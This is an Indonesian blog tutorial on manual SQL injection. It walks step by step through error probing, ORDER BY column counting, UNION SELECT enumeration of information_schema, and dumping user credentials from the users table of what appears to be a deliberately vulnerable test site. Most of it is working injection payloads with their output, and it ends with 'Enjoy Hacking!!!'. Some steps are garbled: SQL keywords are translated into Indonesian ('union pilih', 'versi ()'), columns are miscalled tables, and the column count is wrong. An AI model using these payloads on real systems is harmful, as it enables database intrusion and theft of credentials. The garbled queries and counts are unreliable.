Tutorial SQL Injection Manual

Pada tutorial kali ini saya akan mempraktikan tutorial manual sql injection, saya tidak menggunakan website orang lain untuk jadi korban tutorial saya karena saya memberikan tutorial ini bukan untuk merusak tapi hanya untuk sebagai pembelajaran saja, ketika kita mempunyai sebuah website kita bisa mengetest apakah website kita memiliki celah untuk di injeksi sqlnya dengan cara manual, dan cara manual sebenarnya lebih efektif daripada menggunakan tools karena kita bisa menggunakan kode kode yang perlu saja.

SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter :
id=$id;……. > Got Error

Let’s Begin!!
Step 1:

pertama- tama kita buka situs http://testphp.vulnweb.com/artists.php?artist=1 jadi disini kita akan menguji sql injection untuk “id=1“.

Step 2:

Sekarang gunakan teknik error base dengan menambahkan simbol tanda kutip (‘) di akhir masukan yang akan mencoba untuk memecahkan kueri.

testphp.vulnweb.com/artists.php?artist=1′

Dalam screenshot yang diberikan, Anda dapat melihat kita mendapat pesan error yang berarti situs yang sedang berjalan terinfeksi oleh injeksi SQL.

Step 3:

Sekarang menggunakan ORDER BY kata kunci untuk mengurutkan catatan dalam urutan menaik(ascending) atau menurun(descending) untuk id = 1

http://testphp.vulnweb.com/artists.php?artist=1 order by  1

Step 4:

Demikian pula mengulangi untuk order 2, 3 dan seterusnya satu per satu

http://testphp.vulnweb.com/artists.php?artist=1 order by 2

Step 5:

http://testphp.vulnweb.com/artists.php?artist=1 order by 4

pada order by 4 terdapat pesan error, berarti hanya ada 3 table didalam databasenya .

Step 6:

Selanjutnya kita akan mencari angka tabel yang bisa kita gunakan untuk perintah2 injection pada tahap selanjutnya. Gunakan perintah union select diikuti jumlah tabel

http://testphp.vulnweb.com/artists.php?artist=1 union select 1,2,3

dari screenshot dibawah anda bisa melihat hanya ada 1 table yang muncul sedangkan yang lainnya tidak muncul

Step 7:

Sekarang kita tambahkan tanda – dibelakang  =  seperti yang dicontohkan  di bawah ini: http://testphp.vulnweb.com/artists.php?artist=-1 union pilih 1,2,3

Sekarang kita dapat melihat tabel yang lainnya dan disitu muncul angka 2 dan 3 kemudian kita ganti angka yang muncul itu dengan database (), pilih salah satu saja

Step 8:

Gunakan query berikutnya untuk mengambil nama database http://testphp.vulnweb.com/artists.php?artist=-1 union select 1, database (), 3 Dari screenshot, muncul nama database nya yaitu acuart

Step 9:

Kueri berikutnya akan mengekstrak nama pengguna saat ini serta versi sistem database http://testphp.vulnweb.com/artists.php?artist=-1 union select 1, versi (), current_user () Di sini kita telah mengambil 5.1.73 0ubuntu0 10.04.1 sebagai versi dan acuart @ localhost sebagai pengguna saat ini

Step 10:

Fungsi concat digunakan untuk penggabungan dua atau lebih string ke dalam satu string.

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

Dari screenshot dibawah  Anda dapat melihat melalui fungsi concat kita telah berhasil mengambil semua nama tabel di dalam database.

  1. artist
  2. Carts
  3. Categ
  4. Featured
  5. Guestbook
  6. Pictures
  7. Product
  8. users

Step 11:

Mungkin kita bisa mendapatkan beberapa data penting dari tabel users, jadi mari kita masuk lebih dalam lagi. Gunakan fungsi concat untuk pengguna tabel untuk mengambil seluruh nama kolomnya

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’

Mantapss !! Kita berhasil mengambil semua  nama kolom dari dalam tabel users. Lalu saya hanya memilih empat kolom yaitu uname, pass, dan cart untuk melihat data di isi column atau bisa juga  disebut enumeration.

Step 12:

Gunakan fungsi concat untuk memilih uname,pass,dan cc  dari table users dengan mengeksekusi query berikut melalui URL

gunakan kode 0x3a yang merupakan hasil koversi bilangan heksa dari tanda titik dua(:) untuk memisahkan hasil dari isi column supaya kita tidak bingung dalam membedakan isi column

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(uname,0x3a,pass,0x3a,cart),3 from users

dari screenshot dibawah kita mendapatkan hasil isi column yaitu uname=test,pass=test,cart=56005a0129439119f35127f1c282ac1c

Catatan: untuk column cc,address,email,name, dan phone itu pada saat kita tulis hasilnya kosong yang menandakan tidak ada isi data dari column tersebut jadi bukan berarti gagal ya.

Enjoy Hacking!!!

Leave a Reply

Your email address will not be published. Required fields are marked *

%d bloggers like this: